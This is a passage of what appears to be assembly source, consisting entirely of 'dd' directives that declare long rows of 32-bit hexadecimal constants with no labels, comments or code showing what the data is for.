2200022Ah, 701FAFDDh, 1A7214h, 4448D7E5h dd 0E1C02CD0h, 18252804h, 74C0605Dh, 7859CD9Ch, 1D6A78E2h dd 0C204E987h, 0FF6663CEh, 0C8A4F440h, 7D2DC900h, 80640F8h dd 0E4B807E8h, 50CEF29Eh, 89C06D7Fh, 2464041Bh, 0F30FA03Eh dd 0F8DE008Dh, 941D4B63h, 0A24C22A3h, 14B70260h, 41995B97h dd 7DD801E2h, 24EE07FBh, 0D050E5F8h, 1DEDA6E0h, 8BFA1E00h dd 210BF197h, 79FC00D3h, 5D4C26B2h, 8205856Eh, 9CC3AF6Fh dd 0EA8AB580h, 7654005Ah, 0A12F2867h, 0CC076048h, 2A2563EDh dd 5E3AE270h, 889B3D4Fh, 6A091883h, 0C0B710D5h, 4C12F008h dd 0AA4A6F02h, 0C0A6E5CDh, 2819A39Ah, 8C89A8h, 6AB298E8h dd 0E6738D94h, 0CBC66600h, 9795D5ABh, 3E10068h, 38FBF69Dh dd 0FE3D7539h, 0C2B90067h, 8B82141Ah, 0BFFA0036h, 0D85B854Bh dd 0EE00119Ah, 2D499971h, 667388h, 0CD27ED16h, 7BA83EABh dd 1DF56300h, 0E6E6A34h, 577A14F1h, 0D600A4BFh, 1B4C9F1Fh dd 0EE099E17h, 87B0FD1Eh, 120AE66h, 8C8E12h, 79EF3462h dd 65415DA5h, 5ED8AB0Fh, 0B35260E3h, 3FE62806h, 0F5000D45h dd 0CD171D1Ch, 95001E71h, 5924E2C4h, 7B48C7BAh, 619E007Dh dd 0EABEFA11h, 940EFB6Ch, 2AF77E07h, 0C307F08Ch, 0F1D03E12h dd 1687297h, 514D3895h, 201C26CAh, 74273B1Ch, 40D661h dd 0F4D0C1F0h, 2F735069h, 275EE3Ch, 0AFB8051Ah, 0E59DC3A1h dd 236E80EBh, 8201BF9Bh, 0DE483015h, 4083B6E2h, 3DCB33Bh dd 277E4E00h, 100D7D4Ch, 0CDAE0044h, 96FAC7A4h, 8000248h dd 0B135F430h, 0B8B41B3Fh, 0C1820008h, 28A2C04h, 4C03AA01h dd 95811D7Ah, 2A7BA829h, 367D0015h, 9CF0DD0Eh, 3400FAC4h dd 0EEA802A7h, 0B53B56h, 50BFB9D9h, 0AFC5D57Dh, 0F1A5FB00h dd 357F0C20h, 38680059h, 3C732BCCh, 76015D65h, 87972C1Dh dd 0DCDC4BDFh, 3FEC4851h, 0B0EEAA00h, 0FF43BA2Fh, 0C97AC81Ch dd 0CB3B49h, 45A41E09h, 0B9D80760h, 70D48039h, 0C4BEB4A1h dd 0BF006098h, 7159DB90h, 657AC9h, 16AD5C46h, 636E299Bh dd 0DECF4D00h, 0BD3B5567h, 0CCC7057Fh, 0C0C57BF0h, 0C4139678h dd 8B3DF700h, 44D169CBh, 0B2E70778h, 40D09CC1h, 61BB285Eh dd 0E1959012h, 73920C40h, 90238F3Bh, 3825B0ADh, 300F5E3h dd 93C45E9Ah, 0CE3E6B33h, 7B6600E1h, 1CE59FE8h, 17A4009Eh dd 9E75B98h, 2200EE54h, 0B89AA826h, 0EF344B1Eh, 0A98BAEE8h dd 0A6F4B1CCh, 0AA30021h, 1318CC76h, 590E5632h, 80BD1B06h dd 0F24B14B5h, 2CFE30CFh, 255236D8h, 5FD0BB00h, 0B67EBDA1h dd 77EB008Ah, 60EAAED2h, 0DE1E4EB5h, 5400A30h, 13E779D3h dd 8A0301EFh, 0A76276A8h, 0BA6EC4D1h, 971ABC00h, 0FED2FF4Dh dd 0CCDE00E8h, 2DAE8463h, 600D134h, 330FD76Ch, 0E4B39Eh dd 68182CE0h, 0EE5B87C0h, 58199401h, 0E710E1B7h, 0FD6CA0CFh dd 539D00DFh, 85B517D4h, 0F600F7F2h, 6F9A563Ch, 1EEC5Eh dd 4DE447EDh, 24D97DCCh, 99146C05h, 30C09F81h, 7942DB9Eh dd 63050FE0h, 6280C096h, 0F282BADDh, 0D7E12900h, 269C5EFDh dd 6B162E72h, 0C39E0314h, 1F9017DAh, 6D007088h, 631CE3E5h dd 0FC62F889h, 0AF913E83h, 7D001ABEh, 0A43976C2h, 0AE13BA8Ah dd 9E001769h, 0ADF0F9D2h, 0F7075E7h, 37BCF7A8h, 0E83D8000h dd 0BF2C3CEh, 801CC03Dh, 955BDE43h, 3A064D96h, 0AB8F9EC8h dd 0E22348A4h, 88008905h, 424BB851h, 298076h, 209EA2BCh dd 0A43F8322h, 0D8019500h, 0DA2BCBDFh, 0E146300Ah, 0E270928h dd 689DA700h, 8F82F3D9h, 626C4C1Dh, 0DAE7561Bh, 4DE083E8h dd 26A9D900h, 94EAC655h, 0F77300CBh, 0AFDABBEDh, 82003E56h dd 0B183021Ch, 0BB30350h, 20B99B0Fh, 0A2214180h, 4490958Ch dd 89963Bh, 0ED23DC56h, 2DFE0D0h, 33271A87h, 85604E38h dd 8400B6B2h, 158F8582h, 0CF89A7h, 335FF78h, 0F1E8F70Fh dd 0D90E9107h, 7460DEB0h, 0EAC1B3h, 0A9536377h, 208C833h dd 9E9FB11Ch, 98B2DBC0h, 0AA14F9h, 18FBD44Ah, 2915D1E2h dd 36E9A600h, 0F8CBEA62h, 0F49D0393h, 1948C239h, 70CFF9A1h dd 10735FAh, 5B2508DDh, 460F49F0h, 0DE9A3871h, 188DACh dd 36535C7Ah, 933EA50Ch, 1E059E08h, 8A75A9C0h, 6917E4h dd 8F8C1951h, 0DF2B1366h, 3A288200h, 0A821D412h, 15A007BBh dd 30387ECAh, 22399DE7h, 0EEA1BE00h, 0FECE6F04h, 0CBE300C5h dd 0BD0CC1C2h, 0EF0F90B0h, 8077178Dh, 4B9A5D40h, 0BAF7D95h dd 6B2858FCh, 0E0351907h, 9F9E232Eh, 0C1913603h, 0F0731C08h dd 0CDEA65h, 18876DFEh, 8F5EB803h, 0F0D1C200h, 1DDB6D2h dd 6ABA1D61h, 0B49B8087h, 0DBCA9942h, 3734FF03h, 92F99507h dd 0A2F08FE3h, 60E1225Ah, 3063323Fh, 96E82E0Ah, 0C9162703h dd 0E1006FACh, 44D6877Ah, 0DE0E38B7h, 8457B307h, 799DC005h dd 870E3EFEh, 871D2B43h, 0CD4004AAh, 3B8E738h, 2E885DBFh dd 0E804ADB3h, 3D77A8C4h, 6261B480h, 54F648h, 0FC1A7304h dd 0A4E74FB9h, 46C9EF00h, 1B20CBD5h, 0DAF70094h, 0F6498107h dd 633DBEE0h, 0C2791F6Fh, 0FEC8BF40h, 90DECBh, 3BD41FD0h dd 0B5D6148Ch, 0A6128000h, 7F286223h, 99EA006Ah, 2B5603A9h dd 7A008586h, 0AFE07D3Ah, 1F5DF5h, 9872A515h, 335A2350h dd 0D7C8CC02h, 753AD0B7h, 4C1A05h, 0C29D45EDh, 0F8584BC4h dd 56D00059h, 24DB314Eh, 963E1EFDh, 331CCDh, 8447A1D9h dd 0EFE030F6h, 31F92400h, 44FD99A9h, 9C5000C6h, 85671214h dd 0D81C2068h, 0DB40E532h, 871AB537h, 0E853005Ah, 6E9EAA45h dd 0C0E45E27h, 11002C98h, 0EA513284h, 9C65096h, 0A3E2C746h dd 7AEF0B00h, 560F7C88h, 6769A8EEh, 0F490BC8Bh, 0CF734F9h dd 7A9054FCh, 0CF0EE320h, 0E0677E6Ah, 28E069D0h, 129C0077h dd 0DDB192BFh, 9726B27Dh, 4E13EC65h, 20F38907h, 0DCE12127h dd 0AC601206h, 9264E860h, 96842660h, 13A303E6h, 2D21946h dd 0BC0828E0h, 0D4292200h, 0DE37E4D1h, 76BB05Eh, 1444EE61h dd 0C052A5CBh, 0F17027E2h, 747C9F00h, 9535789h, 1F83E2A1h dd 40194CB8h, 0DA9C96C2h, 5900F30Fh, 0BCF73CAh, 0C5A3C6h dd 0CBD4F43Eh, 6C6F1E5Ah, 0EE92D100h, 3C2F7502h, 1DEB00E3h dd 0BA017DB3h, 0DE0379ACh, 0EEF054D6h, 0D8AEF85Eh, 58E97B7Ah dd 59C0E401h, 0D0F5D4FDh, 0D32CB00h, 7EC6DCBBh, 0B92600FBh dd 5EAF7C58h, 3F0F2A6Bh, 0FC1F1B60h, 0E787C300h, 0D5D633h dd 2C2E0E3h, 0B0F89662h, 80607C3Bh, 0F918758Fh, 7B488641h dd 81AD019Ah, 8068521h, 4CA8CCB9h, 88735A00h, 0B4C5288Ch dd 0F2C87DDDh, 0E939816h, 77977DACh, 80DBE804h, 0AE801788h dd 2607C096h, 9C803E9Eh, 90301082h, 493F02C4h, 24ABC8Ch dd 614C02E1h, 4A4D4BEh, 83AEE007h, 58102B63h, 3EDF2Ah dd 3A91CE1Fh, 0B6B449D7h, 17ED6A04h, 0B2810624h, 11FC7320h dd 0AB2E1C9Fh, 0EF0D47E6h, 72008B08h, 414CEB2Ch, 6BAC5A05h dd 4080C420h, 0AF90D4h, 6A1D0A9Ch, 14A5B1E9h, 2B32F00Fh dd 4FB40718h, 0B54B68F0h, 8E00065h, 0D63DC01Fh, 0DD711A49h dd 62823001h, 0C11789FAh, 52BD4082h, 0A4E03D0Eh, 4400E761h dd 414905AFh, 131DE0Ah, 0C664BC71h, 0EDC43651h, 4E34204Bh dd 85FF7B3Dh, 0DE5B62Bh, 5D7F1CC0h, 9A4F7904h, 38EC065Ch dd 11B89861h, 69B7DC00h, 0FD37519h, 0EBF2F5h, 79A99CA3h dd 0CD40287h, 0FA382302h, 806CF28Eh, 579FB2D4h, 0DA0500EAh dd 64F8E5B0h, 0A100BAB8h, 28F0B35Eh, 5C4AD2h, 0C9C2527h dd 0CF333778h, 86A1F600h dd 0B358245Fh, 11B21F77h, 5446C05Ch, 0EF0CE647h, 0C249FA03h dd 0AD22B79Ch, 366B7C0h, 487816DCh, 67104F85h, 2762FBE0h dd 0BA00E34Ch, 0ACB19A77h, 376F15h, 74F72D8Ch, 0A6C8C1CAh dd 5BD7EC00h, 9A7B6CBAh, 0A71A000Ah, 13263C12h, 0C7036931h dd 60C1AAAFh, 28D88862h, 0C2B4009Fh, 0EDCFE99h, 0E97F6E2Bh dd 0AC3BFA2Eh, 62816180h, 0A3A7ECh, 0F487D23Ch, 60B7D87Ah dd 9075E500h, 4A8E8F3Bh, 9DE3006Ah, 6EB3AD2Ah, 0B7E82CA7h dd 9C6C6D0Bh, 0F36200C3h, 0BE97DFh, 7D46DCA5h, 228534A7h dd 311C5300h, 8E81F9Dh, 8D490626h, 489EFBFh, 9F00857Ch dd 0DEDC0181h, 134D37F9h, 688A6Ch, 4CE9F753h, 5240F1Ah dd 1F0E4032h, 0C635A0C7h, 5FFC803h, 0AFCE9B0Dh, 37C0AAB5h dd 2C90FAh, 2928FC12h, 0BE62CB11h, 0AE82580Eh, 3CC6A43Ah dd 8ACA7F80h, 593701F6h, 56D9C1A7h, 0C0E331E4h, 0BDB85E86h dd 26693600h, 94631D7Ah, 0FAA5268Bh, 516F0260h, 686235FBh dd 30DACD80h, 54948E1Bh, 4093F180h, 3F67440Ah, 0E1B91EE4h dd 523D9280h, 0D3A8EFC6h, 0A007EF2h, 0C0F902D5h, 7B48E36h dd 68297DFCh, 8B2D203Bh, 62E2D9E4h, 81DF6301h, 86F4759Ah dd 0AB1C20h, 0A5AA042Fh, 82638983h, 3552A200h, 59C16B2h dd 9D79C5h, 41AECD9h, 232D93BAh, 0C8380778h, 534D0015h dd 0E13BD284h, 0F96600DDh, 142E2464h, 0BC00287Ch, 7493D81Ah dd 0E8E88ADh, 0E9BE94E8h, 0C0FFCF80h, 970F396Eh, 0C04685B1h dd 37C40858h, 981807F4h, 700C0E6Dh, 0CE6AA6F6h, 8A76E703h dd 0D0BD6194h, 3A7FCA9Fh, 0C800A40Eh, 2F6B371Eh, 0D8783879h dd 0C0F6E6F8h, 4F2E762Eh, 0D5D49400h, 0E79C162h, 0A3656432h dd 7B48F00h, 6F001225h, 4ADD90A9h, 2CAFABDFh, 716C750h dd 60D8EC1Eh, 0D734F6FDh, 9F533B00h, 0DE64707Bh, 447007Ah dd 0BFF4F24Eh, 7771D459h, 1D3A3C1Eh, 3B100B40h, 6B0448h dd 6309F898h, 0A1EA1201h, 448CB700h, 0A7D4C51Dh, 287F06h dd 0EC6FF04Ch, 0A56A1677h, 4E03BAB8h, 2466807Eh, 46F0B83Eh dd 0EC380006h, 40C20F14h, 0CD000BA7h, 0F5FA261Bh, 0A8E501h dd 0A2A96C53h, 0F3C7C9C2h, 2CFEE5Ch, 7E3ABA02h, 9D164033h dd 97BD0984h, 470E2FCAh, 0D482A0E0h, 0BA00D97Bh, 0DBF808D2h dd 337A183h, 0B2BC734h, 66D86045h, 0B10039C0h, 0EE2F49A6h dd 0DC468Ah, 0AC27F571h, 474B93Dh, 93746598h, 4DC47B00h dd 0FED14779h, 0DD323A6Fh, 0A761B60Eh, 8F397023h, 84FB57D0h dd 73E05A09h, 0ED9E839Bh, 0ECAAC801h, 3DA500A3h, 8F9A1ABEh dd 63002044h, 492C4B2Eh, 72FC973h, 0AA5E7F76h, 6E78300Fh dd 920001F7h, 46425E9h, 77D4D0C2h, 947239DEh, 0EBCA7000h dd 33D90F01h, 47E0E573h, 772F3Dh, 4555B230h, 0ADE9DDh dd 79BF5F3Ah, 4B4C6C49h, 7C393E0Fh, 0A469E031h, 0A55A29h dd 67F5603Bh, 0A6AEB5CFh, 30095F0h, 9378BC07h, 7F455D4h dd 676892EDh, 42621037h, 0E60065E1h, 193CE975h, 0CC7D48h dd 612EAC02h, 6404D0D7h, 3B70FB1Eh, 9C673900h, 1A12A8h dd 0D60C62ECh, 501B8243h, 8F790102h, 0E08D4D3Dh, 0A9BDC5Fh dd 6A128CDBh, 0AE2700F8h, 96FE358h, 286EE23Fh, 6B01D0EBh dd 45FDB4B0h, 5FF8F91Eh, 0A35900DCh, 3356A7AFh, 0B500B63Ch dd 0BC768A12h, 1E92E218h, 0C32CF1C4h, 410B943Bh, 0D582A6F0h dd 77043700h, 53C222E6h, 35670012h, 0F00625A3h, 6C005680h dd 0AB5F513h, 0E8DA49Bh, 0A29FCF8Eh, 80716065h, 1529E717h dd 0F114A703h, 0D0F24C08h, 89740Bh, 0C5CC88FBh, 766A4A6h dd 7AC0C900h, 9E592457h, 34E880h, 1D252318h, 68913B3Eh dd 1B32EA0Fh, 0D6BC80DCh, 0C529F7h, 0FA0CB036h, 54578556h dd 1D68BE1Dh, 44929B00h, 370F13Bh, 0A12AFECEh, 0D0DF7FBDh dd 0D909105Fh, 0A52D0400h, 6DED52D1h, 28D03D95h, 66E27E00h dd 3DFFA044h, 1C2B2C3Ch, 0CF81895Fh, 222194F1h, 0A1FFCh dd 65E8DE3h, 2E8B667Fh, 3E071200h, 48DB3825h, 80B837h dd 73BD7C23h, 5A212EC0h, 0E2B2700h, 6CDA09FFh, 27166h dd 1420BE07h, 0A4F9F272h, 8EDE1F07h, 52F0607Bh, 8D18EEh dd 6446E047h, 42FC78ECh, 409520F9h, 383E5900h, 0ABA0C70Ah dd 0E87AF6h, 0D11623EDh, 0E963859Dh, 1F410704h, 1980808Fh dd 7C3D76h, 45127ED3h, 780ABABDh, 3A9F6300h, 49C9FF09h dd 1F34001Eh, 43019CDBh, 7E01A9B6h, 7F829557h, 4980F1AAh dd 1C34EC1Dh, 29007985h, 2B088CA8h, 71219Fh, 0BD1064A6h dd 2FC1B28Eh, 0EC83B41Dh, 0CD1CD700h, 0EEB7922h, 6862F3ADh dd 1EB798C3h, 9D298C98h, 0BDB9A500h, 6B8F3044h, 485428F7h dd 4E4F8EAh, 0FB3D604Ah, 80E480A6h, 7D3FE340h, 48B28004h dd 233B19FEh, 0F8ED74CAh, 383D00CCh, 9730FF77h, 680074E4h dd 0BE5B4E0Dh, 0AC2EC3h, 0DE7B5A5Eh, 97CAE8B4h, 4EAE91Fh dd 16899940h, 0DAF54Fh, 4DFFCDAEh, 0C7846AB9h, 452DED00h dd 0A5BF5654h, 8EDD031Ch, 0DECCDFE5h, 4DC78DB0h, 84006E77h dd 4025BEE3h, 0E6188FAh, 41E1A670h, 0FFD737A0h, 900081BFh dd 3B840D2Ah, 0E87D8E1Eh, 0FA8D0029h, 0B155548Ah, 5B387E88h dd 634E84C0h, 94C0252Ah, 4B94CAh, 95897630h, 0D1A01807h dd 8EF4DD1Fh, 1C1D5292h, 0C553B500h, 3F5663h, 0FBF64E22h dd 0DC41B605h, 1981CF00h, 15933A4Dh, 0BBF0002Eh, 718A7BE7h dd 0CE45689h, 7E0D7400h, 6CC9358Bh, 187C6B7Fh, 9F3A80DDh dd 3D166A17h, 4224C608h, 0FCAD0088h, 472E66D4h, 817F5018h dd 969B30h, 1C0DCF60h, 1E86E772h, 0D5F9B4A8h, 508BBD00h dd 0CE35BEBFh, 0D32700E2h, 0AAE85866h, 0B9002B87h, 0B1DB84F8h dd 7498F72h, 7F8CFB1Ch, 41E48743h, 0EC5FC7B2h, 0AA00F051h dd 744934B5h, 18E1EEA6h, 285CB9DCh, 0EF7198CAh, 7A00DBB8h dd 8BF6031Fh, 0B44178h, 87E9127Fh, 0A862B5D8h, 0A0CE1B00h dd 0A7AE9188h, 0C15900BDh, 42B6B1C5h, 9203E4D3h, 0BEC2EDF6h dd 1C9DD845h, 7BDB00F0h, 0A553AF62h, 789F7209h, 0CAC700F8h dd 3B835BE1h, 0B401E8F2h, 0D03D70ACh, 0C42087C5h, 63F1005Fh dd 4295AEE0h, 0DE0394D1h, 1C6C2237h, 32C81D0Ah, 7CFD0EA3h dd 50344720h, 60005D58h, 0B2ECB5A1h, 54014Eh, 986C151Ch dd 6AFFF328h, 8E70DB24h, 3AF9E01h, 0EEC86245h, 755072Ch dd 0C0AA76F8h, 0FD0048Ah, 0DBC61400h, 0AC5D1FF3h, 79A900B2h dd 180BBE39h, 3304C199h, 0C41C62E4h, 0AC381680h, 0FB653F77h dd 0FD59180h, 0E75A0746h, 99261600h, 62733E8Eh, 58E6ABh dd 0B4C7DE6Ch, 47B7F77Eh, 6FAD9903h, 3DF215h, 14F04941h dd 0CB0A8B5Ah, 202EA326h, 2D178700h, 409467h, 8656F747h dd 622B3B1Ah, 890008FAh, 38212A82h, 1BE3C4Dh, 0C207D82Fh dd 0F82D70DFh, 6B03D329h, 463354F3h, 0C576B120h, 0C1E8A2E9h dd 0F5371C9Bh, 2212C031h, 9A04A87Bh, 0AF00D877h, 0A38B63D7h dd 781367h, 0A76BA2C5h, 73AA6ADAh, 80BFBA3Eh, 9ACC2EF0h dd 399A67Bh, 0FB3F7D9h, 31E846DAh, 0E318562Bh, 0A60927E8h dd 0F08FFAD1h, 0A74500DDh, 0D8BA10AAh, 0CC070A75h, 0CD8C5CE2h dd 0E8B585D3h, 90150F55h, 0A3490AE8h, 94C705h, 1C2B59EEh dd 8A002258h, 0ABA7230Fh, 7B3D2624h, 0EB300072h, 28279C95h dd 7909A62Ch, 1088B208h, 0DBAAC8h, 55EF321Ah, 1C8C2F29h dd 0DFD76901h, 864F1EC1h dd 7B12CC20h, 4B410079h, 0C305E5D9h, 9C0040F7h, 0DBAF7B94h dd 0E7EEB9h, 5E84A6BEh, 9006E103h, 527822E4h, 35C03F07h dd 44702FAFh, 0D27982h, 0EFB1BA61h, 0F9FD654Eh, 0A26BB700h dd 79C39522h, 31A32EE1h, 803C00A8h, 7FE0B9DFh, 5F12BE05h dd 38C024D4h, 3B42823Dh, 600029F3h, 2F1D8572h, 9B007830h dd 393BAB57h, 0E8167420h, 14DC0170h, 0ACA3819Ch, 90AEF0F7h dd 418D2717h, 0A9EF7300h, 6B8E45h, 0D9D39477h, 865D2DA6h dd 24CB4301h, 0BA896351h, 7050CE8h, 5FE9EE81h, 0DCCF7061h dd 0A000168Dh, 1B405E4Ah, 7B83A56h, 0B6D34643h, 7447706Eh dd 70E9B544h, 8100E09Eh, 210A04D8h, 9022EAC6h, 9939004Bh dd 507F2DC2h, 411EFF0Fh, 0AF002A44h, 58933040h, 0D26B00FDh dd 4FF68EBCh, 20C03F23h, 0DF3C0B86h, 8F3700A6h, 34E59677h dd 6E734B30h, 1900A27Ch, 41628E22h, 0D9740Dh, 473C77E3h dd 9799124Fh, 55CB7200h, 3B42527Ah, 5D36005Ch, 1683EC8Bh dd 0DD3CD256h, 8E1A8ED4h, 8DFCC00Dh, 722CDBh, 7B34C61Fh dd 0F7961656h, 0CD170B0Fh, 132280B3h, 78E84C3h, 7F4E443Bh dd 584310E5h, 0D00039A7h, 0EE0F0607h, 3A76E4h, 941BFAF5h dd 38E1B242h, 161DF10Fh, 338160EAh, 518884h, 8047E082h dd 22860E12h, 0E1903Eh, 0F96FC607h, 0FC2B730h, 63AE71A8h dd 0CAA36EA2h, 75790540h, 9F3E6090h, 6F8B006Bh, 0F41439FAh dd 7047009Ch, 1B81D267h, 0F9008E98h, 0AFD009ADh, 64834Bh dd 5E4C14CBh, 39016999h, 1DFCE200h, 0F75B1368h, 0DA750315h dd 9746AA16h, 0BBBF00AFh, 34001188h, 0AB9583ADh, 38A9A412h dd 8628CFF0h, 340D4CE5h, 4727F701h, 0C5EA02DBh, 714130D9h dd 0E1708304h, 188046DEh, 750F1501h, 0DCF401C0h, 4E599EA0h dd 51CBD045h, 0B4EBB700h, 78FAFBFFh, 4F27126h, 0BD4F1A8Ah dd 989C04Eh, 410084D1h, 0C73FFF64h, 4EA3144h, 52CE43C9h dd 667C0DBh, 0FC00DFAAh, 0BE7BE03Dh, 44753h, 88E4B67Eh dd 7D809AAFh, 1A25C500h, 895DD513h, 38310001h, 7A6DEE73h dd 7B006951h, 2711361Bh, 1638318h, 939637EDh, 305D4C1Ah dd 0C21C7F9Eh, 0F88955h, 7A813DBCh, 14B7BDh, 13099657h dd 874F321Ch, 0C9ABA20Fh, 4933204Ah, 0F02A4BBBh, 83081D5Ah dd 0ED14001Bh, 0CCA35FB6h, 802FD538h, 8D40BAD0h, 0BF086Fh dd 0B77B7558h, 44ABD1C4h, 0FD106C00h, 9B63EF19h, 4B112ECBh dd 9042005Bh, 2241CEC0h, 55C3704h, 14A05726h, 0A65F007Dh dd 2C9A3C07h, 7000FAE3h, 0A10C7AD3h, 0F231DC14h, 0B49D0122h dd 1148D48Eh, 17AE41FBh, 210203Eh, 0C200C474h, 2304D90Eh dd 12CF3D3h, 5D43AB4Ah, 61547A3Eh, 6E7C601Eh, 37EF0A00h dd 3AF6E341h, 0F5D97C8Eh, 9C70A4F9h, 0AC653E74h, 27F86C80h dd 455A1861h, 8AF5FE00h, 0A5A01AEAh, 4D4C26C8h, 6CAC00EAh dd 40EBC774h, 0B75FF609h, 4BC307A4h, 0DCD01E01h, 337FE0h dd 95B5916Bh, 8C87F10Dh, 38284C5Ch, 13E4801Fh, 1EB87198h dd 8F620B9Ah, 0EC0021BBh, 0D80463D5h, 0CE50C004h, 0F0C32DC7h dd 5E57E874h, 0AFA551A1h, 1AD04DC9h, 3A1B005Fh, 6E6D6849h dd 82000153h, 6A487F02h, 7D96151h, 9C3BEF7Dh, 5D131014h dd 8101DAC4h, 452758CBh, 8047EAB9h, 17CAAD81h, 6C6A6E30h dd 8720A80Dh, 0ACFB261Fh, 2055F585h, 0B90FAD00h, 3D6CCD6Ah dd 52014B09h, 0E2C9F205h, 50D6F5D5h, 0FB02ADA8h, 0D07BF1C0h dd 7CFC40Dh, 7D8AB817h, 0C0C53719h, 0BD79ADA2h, 332AED07h dd 0C707A25h, 721A7F06h, 0C67B24ECh, 73CC0093h, 9AA2CA66h dd 2852DF00h, 0F0B1A8A6h, 5BF006Ch, 6E92C42Bh, 25005CA5h dd 0DAB6CD70h, 1686D1Bh, 75387E59h, 0E8E273BBh, 0E800E4D1h dd 5ECCF0BCh, 0EC1262h, 0F190DA4Ah, 0B2698122h, 52FC8C00h dd 0BBF2AF67h, 45920091h, 0DD65E6B7h, 0D4E02609h, 0F48621Dh dd 57A91289h, 5A56A803h, 0D5417FD0h, 7B87A803h, 98DBBE74h dd 6EEB8Fh, 6D214F64h, 0E45E2C98h, 29CBF100h, 9F2D60DBh dd 198C00A5h, 0C6756627h, 7200A4CDh, 54F97BB8h, 5ECB02h dd 0DB105BC2h, 39D09C58h, 0C401CC1Ch, 52C655C0h, 76628265h dd 745806DAh, 81027FA2h, 19AF7A00h, 4E8898F3h, 0C82A3CF0h dd 83E5CD00h, 173CD240h, 38A36430h, 70F6BEh, 3B71CBDAh dd 1A2BB25Eh, 3199B0Fh, 45ECE10Dh, 98E1287Ah, 0E2EE4860h dd 0AA533BC8h, 294065B1h, 30A9E41Ah, 41A7CC03h, 4920A8h dd 0EA615888h, 3DEDEEF8h, 0ACAA9A01h, 0D16E4AD5h, 3CC2AFCh dd 0FD4FEC7Ah, 7CD06103h, 38C1059Eh, 0A1090F74h, 0F0E47D0h dd 687E8BF7h, 809585C7h, 993C2F97h, 96E74A03h, 3333B11h dd 43613D28h, 0C18448B1h, 0F8FC0A35h, 95008ABBh, 8A559A8h dd 3AEF2B6Dh, 9C92C38Fh, 0D3430080h, 2C47F5ACh, 38ECAF3Dh dd 38B18599h, 0FE000E20h, 172D283Ch, 252700ADh, 1F945BEh dd 230087F8h, 89639BFh, 0D78652h, 90D19E75h, 0F61321FFh dd 0F8A9931Fh, 39BE4700h, 5429DBh, 1C0AC301h, 7BEEF156h dd 0B005FE07h, 5CB0E1C8h, 64B3F6h, 0BCC58878h, 0DF37E043h dd 9E00CAE8h, 728612B9h, 3C6563AAh, 2FA5E78h, 10148CF4h dd 6040B6B8h, 0A573C8E7h, 7A18D0EFh, 9384D700h, 9B3251C9h dd 22AB0012h, 0EF8CE4EDh, 865CFD8Bh, 0C83D00D9h, 0B4316F30h dd 58E03F6h, 5BCAAAB2h, 803AB03Ah, 0D7242E9Fh, 75B3E55Ah dd 947B66h, 0CBFABF4Ah, 55F3E3F9h, 253CBC00h, 60A03BE4h dd 3FFE0649h, 484077D2h, 78000D98h, 0DDB17AF7h, 33B4A4h dd 9B76A75Dh, 518F50CAh, 0BC608B00h, 0E6D374CEh, 0BE420702h dd 40A35911h, 696A4AE1h, 0D7EC9500h, 0C13A60B7h, 0F4857536h dd 5F5D3E01h, 5EAF1081h, 9CE1AEC8h, 3D035288h, 0BB0B74B4h dd 0E561A031h, 4E53268Ch, 0FC7701FEh, 2ECDD7E7h, 7622F0h dd 0C33A1DB8h, 94801E69h, 0E27B3128h, 4E65110Ch, 988B28CEh dd 0C884A119h, 43FDC8h, 53EFE88h, 4865EFE0h, 0E6170700h dd 0B0C879BFh, 0C153305Fh, 0EFE0908h, 4A674804h, 36C09BDDh dd 609C05AEh, 27EA380Fh, 0B3006909h, 420D7F8Ah, 0CBA43Ch dd 0A22DC6F2h, 0F77D9D73h, 48C3FAFCh, 989A727Eh, 0EEA6EABEh dd 365E8C1h, 1E6D8654h, 0B1F06689h, 0C80CF6DEh, 699D44D4h dd 2E0700F2h, 0F38CEA5Bh, 4A0002FCh, 11E884B2h, 0C25ED951h dd 97F42BA9h, 0A48E5DC0h, 0A608E300h, 89B243E6h, 0DC3300BFh dd 0F9705577h, 480951C8h, 7F80FA7h, 0B3837380h, 0F7E4E0FBh dd 0C0F260EEh, 0C4D4111Bh, 581CBE77h, 1C000BB7h, 388EC95Dh dd 5B7C3DBCh, 7009EE80h, 0BA87F9B6h, 60AD3A31h, 0FFE84630h dd 0B8A25073h, 3C76B8D5h, 0E5006399h, 71B5A18Dh, 1707E7FDh dd 1B22D787h, 52160FB0h, 283F003Eh, 5CCA479Fh, 1E0A1CE8h dd 0F1CB6D19h, 67ED4B03h, 0BEC38130h, 0EA4206ECh, 817800FAh dd 4810A265h, 0B3012C80h, 0A74D9D47h, 0BF70CA52h, 4DB0D4h dd 0A1CC5D68h, 0A8E3F6AEh, 608A900Bh, 0A7E0804Ah, 0E4CB336Dh dd 0B2FD005Ah, 0BCFAEC61h, 4AF6DC69h, 8C537800h, 25C02F34h dd 0DFDD001Ch, 67CDAA4Fh, 95263D77h, 4C0D4FBAh, 20D87835h dd 0FE73A2h, 0CAF41D38h, 0B666402h, 0E6FC5400h, 110E3B17h dd 7E7C0087h, 32ADC773h, 4E03B191h, 14923C8Dh, 4D77C009h dd 302B0563h, 87A0D53Bh, 0E0565050h, 0D6016CAFh, 3EF47437h dd 72E4D807h, 2E2300A1h dd 16F90499h, 0B3F66195h, 0B738E51Eh, 0DBC30540h, 0E24A7ADh dd 779033E9h, 43AEB241h, 0F5628062h, 0A51CD9E3h, 0A8176024h dd 41542361h, 0C41D56E6h, 9D80C740h, 5EB5F8F5h, 76DF0043h dd 71F777BCh, 29C03EA1h, 9D40B01Ch, 0E6B90FFDh, 45409AB4h dd 28C67896h, 83132E03h, 0B8121FB6h, 0AEF4DEh, 0D7627C68h dd 4BF06B19h, 1FD49C1Ch, 43607EC0h, 7DEDA7h, 0AF17CCDFh dd 5AC8426Fh, 0A4AB4E13h, 0F6452809h, 0C4B2008Eh, 5495A3D7h dd 89270E01h, 47EEC96h, 0C9A760h, 7776F543h, 9749BD70h dd 80F63F3Dh, 20E710FCh, 39B5FE6h, 26BE28B7h, 6FC0C40Eh dd 995C4A56h, 78AB0071h, 6E2EB4Ch, 0FC9A07CCh, 408BB85Eh dd 639089EAh, 1E393Ah, 19B12EB0h, 0F93CEC5h, 6EE94D84h dd 44EC7CA0h, 3100AAFAh, 12A125A5h, 5DD761h, 11C02A2h dd 564BC5C6h, 92C2CD00h, 0D2E25F53h, 0E43400B8h, 0F5AEB4BCh dd 0BF007A3Eh, 57FE9D82h, 1D3DBEDh, 0C30239A5h, 60DF41B3h dd 791F6A53h, 0B580CD95h, 13066304h, 94910151h, 86971978h dd 7B8BF48Dh, 0A4288700h, 7021C4E1h, 0F97900FCh, 919E3E0Ch dd 0B600DC86h, 77092B6Fh, 354EC17h, 4B7A9BD0h, 0C0079EC8h dd 315D950Dh, 0A9E09347h, 75F2F22h, 